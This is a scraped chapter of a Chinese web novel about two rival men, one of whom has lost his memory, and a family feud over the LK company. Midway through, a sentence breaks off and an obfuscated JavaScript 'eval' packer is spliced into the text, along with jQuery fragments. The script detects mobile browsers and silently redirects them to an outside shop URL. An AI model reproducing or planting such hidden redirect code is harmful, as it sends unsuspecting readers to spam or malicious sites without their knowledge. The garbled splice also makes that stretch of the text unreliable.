文趣网 > 都市小说 > 死对头失忆后非要和我上婚综 > 19. 好想牵手
    嘴角被温热的指腹擦过,虞鲤浑身一阵恶寒,鸡皮疙瘩从后颈一路炸到脚底。

    之前逗池锦川出丑出糗,挺好玩的——那是因为他知道对方是铁直,不可能会动真格!

    虽然是他先在医院对池锦川下的嘴,但那是被对方激的,存着恶心人的心思。

    他可以恶心池锦川,但池锦川不能恶心他!

    虞鲤觉得自己脏了。

    池锦川表面镇定地收回手:“那我走了。”

    “你最好、赶紧、走。”

    池锦川看他开心到扭曲的表情,不太确定他是不是在说反话挽留,脚步顿住:“我也可以再留一会儿。”

    虞鲤感觉自己的右手已经快要不受控制了。

    他深吸一口气,气极反笑:“再不走,就留下做、爱。”

    闻言,池锦川立刻转身就走。

    刚出门的下一秒听见巨大的关门声。

    他转头,只剩下门板:?

    门外安静了。虞鲤冲进洗手间,把嘴皮都快刷烂。

    他撑在洗手台上,镜子里的人嘴唇磨出一片灼热的艳红,像是在嘲笑他的自作自受。

    虞鲤有点想杀人。

    那家伙怎么敢的?!片场爆炸是把他小脑炸飞了吗?

    能不能有点直男的骨气?怎么能屈服在他的美貌之下?

    虞鲤一边骂池锦川一边夸自己,终于把自己哄好了。

    冷静下来之后,他靠在洗手台边认真想了想。那家伙失忆还指不定要失多久,总不能真一直演下去吧?

    虞鲤有了撤退的念头。

    利用池锦川的目的已经达到了。傅泽明目前不敢轻举妄动,因为录音估计正忙着哄未婚妻,没空找他和满满的麻烦。

    况且池锦川不愿意回LK,那也就没用了。

    他自己可以再找别的突破点。

    正想着,手机弹出一条消息。

    【嗯嗯怪】:之后什么行程?

    虞鲤恶狠狠地暗灭屏幕,没回。

    .

    一辆车牌号全是零的迈巴赫高调停在路边,路过的行人纷纷回头。

    下来的是一名穿着讲究的燕尾服中年男人,眼眶含泪:“少爷,你终于原谅我们了!”

    他面前的人一身黑,帽子口罩遮得严严实实,身量极高,包裹成这样也遮不住那股冷冽的帅哥气场。

    池锦川略过来人的拥抱,开门上车,隔绝了所有视线。

    宽敞的后排座椅柔软得像沙发,他靠在角落里,整个人缩进阴影里。

    严伯跟着上车,坐在副驾驶,回头望:“少爷——”

    “……严伯,少看点偶像剧。”池锦川取下口罩,露出冷峻的面容,“叫我名字就行。”

    严伯充耳不闻,沉浸在自己的艺术中,“少爷你之前出事,老爷表面不让任何人来,其实可担心了,偷偷让林秘书去医院看你。他脾气倔,但身体不好了,你俩就别置气了。亲父子哪有隔夜仇。听说你要回来,他直接把还在谈项目的大少爷和参加拍卖会的夫人招回来了,大家一起家宴……”

    池锦川下颌绷着,唇线平直,没回话。心里冷嗤,他们是会膈应人的。

    如果没有虞鲤,他可能永远不会再和这群人接触。

    但虞鲤说希望他做自己想做的事,不希望他牺牲自己——说实话,他被触动了。

    池锦川明白,虞鲤是完完全全站在他的角度替他考虑,甚至是在被傅泽明骚扰之后。

    虞鲤不图他的钱,不图他的地位,只是爱他这个人。

    但他不能这么自私。

    他当然想做什么做什么,一人吃饱全家不愁,可他现在不是一个人。

    他至少要把那个不知道什么时候又会来找虞鲤麻烦的傅泽明彻底解决。

    所以,他需要权利。

    曾经他最嗤之以鼻的东西。

    池锦川第一次改变了自己堪称病态的固执。

    但这一步跨得太大,严伯还在滔滔不绝“一家人”如何如何,他有点恶心。

    想洗手。

    不,他回忆了一下某个比洗手更舒服的方式。

    想牵手。

    他点亮屏幕。两天了,对面没有回复。

    池锦川盯着那个空荡荡的聊天框,两人的消息记录还停在他上次问行程的那条。

    他皱了皱眉,点了一下对话框,又关掉了。

    “少爷,到了。”

    池家老宅坐落在京市,是一座偏苏州样式的园林四合院。

    穿过回廊的时候,池锦川微微垂下眼,他母亲是苏州人。

    而如今,几年没回,园子里已经大变样。多了几处新修的欧式风格的园亭,有些地方改了布局,中不中、洋不洋,像拼贴出来的四不像。

    进了主门,一个四五岁的小女孩不知在追什么,没注意来人,跑过来撞到池锦川的小腿。

    她仰起天真的脸,笑盈盈地说:“呀!你就是小叔叔吗?我叫果果,我们可以做好朋友吗?”

    “谁教你的。”池锦川冷眼扫过去,果然看见不远处一个打扮时髦的女人往旁边躲了一下。

    池芳,池军的三妹,他该叫一声三姨。

    这一家人,真是没有一个不虚伪的。

    池锦川没搭理,绕开走了。

    小女孩的笑容僵在脸上。

    进屋之后,更是各色妖魔鬼怪一个接一个回头,热情极了——

    “小川回来了!”

    “小川,这些年过得怎么样?”

    “小川还记得我吗?”

    池锦川面不改色地一一略过:“二叔、三姨、小姑。”然后他看向主座上那个中年男人,几年没见,他比想象中还要苍老。再扫过他身边站着的穿着艳色旗袍的女人,仅存的一点亲情消失殆尽,他声音很冷,“父亲。”

    话落,在场的人目光在空气中交错。六年前两父子几乎决裂,闹得有多凶,在座没有人不知道。

    一向沉稳的池军大骂“滚出去就别回来”,池锦川果真离家六年不回。如今一个老病缠身,一个忽然归来。

    池军没有像预想中那样发难,只是看了他一眼,像什么也没发生过:“回来就行。吃饭吧。”

    下人立刻上菜。

    池锦川吃不下,也不想多待一秒,直接开口:“我可以回来,LK交给我。”

    话落,席间人皆是一惊。

    ——不愧是“太子”,一回来就敢说。

    在座诸位面色各异,毕竟这里的人都是LK继承权的候选人,眼看老爷子身体不行了,一个个都在拼命表现。

    只有池军身边那个女人面色不变,依旧扬着得体的笑:“小山,还不把莲子芙蓉羹放到你爸面前,他最爱这个了。”

    被唤“小山”的青年三十岁左右,长相端正,闻言立刻起身:“爸,你尝尝这个,有新改良,妈琢磨了好久,亲自下厨做的。”

    两人一唱一和,反倒把池锦川晾到一边。

    席间众人目光撞来撞去——

    一方血缘正统婚生子但六年未归,一方小三上位私生子却日夜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823568|211204||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陪伴。

    六年前LK归谁毋庸置疑,如今谁胜谁负可不好说。

    池军终于开口了,语气不算好,但略过了周念慈母子,回复的是池锦川:“LK本来就是你的。你自己不要,你哥哥帮你打理了这么多年。”

    他端起那碗莲子羹,看向另一边,“砚山,是吧。”

    池砚山脸色一僵,和周念慈对视一眼——

    亲儿子回来,要收权了。

    周念慈的笑容绷不住了,心中暗骂,这老东西,论聪明还是他聪明。

    辛辛苦苦这么多年最后给别人打了六年工。

    但,没办法,人在屋檐下,不得不低头。

    再怎么憋屈,都只能咽下。

    她给了池砚山一个眼色,后者立刻接话:“当然。锦川,你有时间来公司,我带你转转。”

    但他还是没周念慈能忍,不甘心地补了一句,“不过锦川,你回公司的话,不拍戏了?”

    “不用你管。”

    池砚山攥紧了拳。

    池锦川一刻也不想多待,他看向池砚山,临走前扔下一句:“集团和复远的合作,现在项目暂停。”

    话落,他转身就走。

    池军没有阻止,只是抬了抬眼皮:“下个月冬至,记得回来。”

    池锦川脚步一顿,走得更快了。

    家宴还在继续,池军今天胃口不错,多吃了两碗,被人搀扶去休息。

    等他离开,饭桌上众人面色各异,颇有些看好戏的意思。

    这些年周念慈没少借着池家名号耀武扬威,连他们都不放在眼里,亲戚们心里早就积着不满。

    周念慈皮笑肉不笑地说了两句场面话,把池砚山叫到小花园。

    两母子的脸色一下垮了。

    “他怎么突然回来了?”他们最了解这位太子爷的秉性,和池军那个老东西如出一辙的固执,没可能先低头,一定是出了什么事。

    周念慈思索着,忽然捕捉到池锦川最后一句话的指向,“是复远的人惹到他了?”

    池砚山一拳锤在墙上:“该死。”

    .

    司机送池锦川回去。车子驶入夜色,窗外的路灯一盏接一盏地掠过,在车厢里投下明明灭灭的光影。

    池锦川低头看着自己的手。

    掌心空着,指尖微凉。

    想洗手。

    片刻后,他又否定了自己。

    不,想牵手。

    他点开屏幕。和虞鲤的聊天框安安静静地躺在那里,最后一条消息还是他两天前发的“之后什么行程”,对面始终没有回复。

    他拇指在输入框上方悬了一会儿,最终只敲了一个问号发过去。

    消息发送的提示音在安静的车厢里响了一下,然后屏幕又暗下去。

    车快驶到家门口的时候,屏幕终于弹出了那个名字。

    【虞鲤】:演唱会

    池锦川看着弹出来的三个字,他来回看了好几遍,就是三个字,连个标点符号都没有。

    在筹办演唱会,很忙,可以理解。

    但……他翻着之前的聊天记录,都是虞鲤主动找他,非常热情,尾波总是会带波浪号。

    而这一次,什么都没有。

    甚至连笔芯表情包都不发了。

    池锦川把手机翻了个面扣在腿上,闭上眼,头一次感受到了落差的滋味。

    他重新回忆上一次见面的情景。

    终于意识到不对 ——他生气了吗?

    因为他没有答应和他做、爱。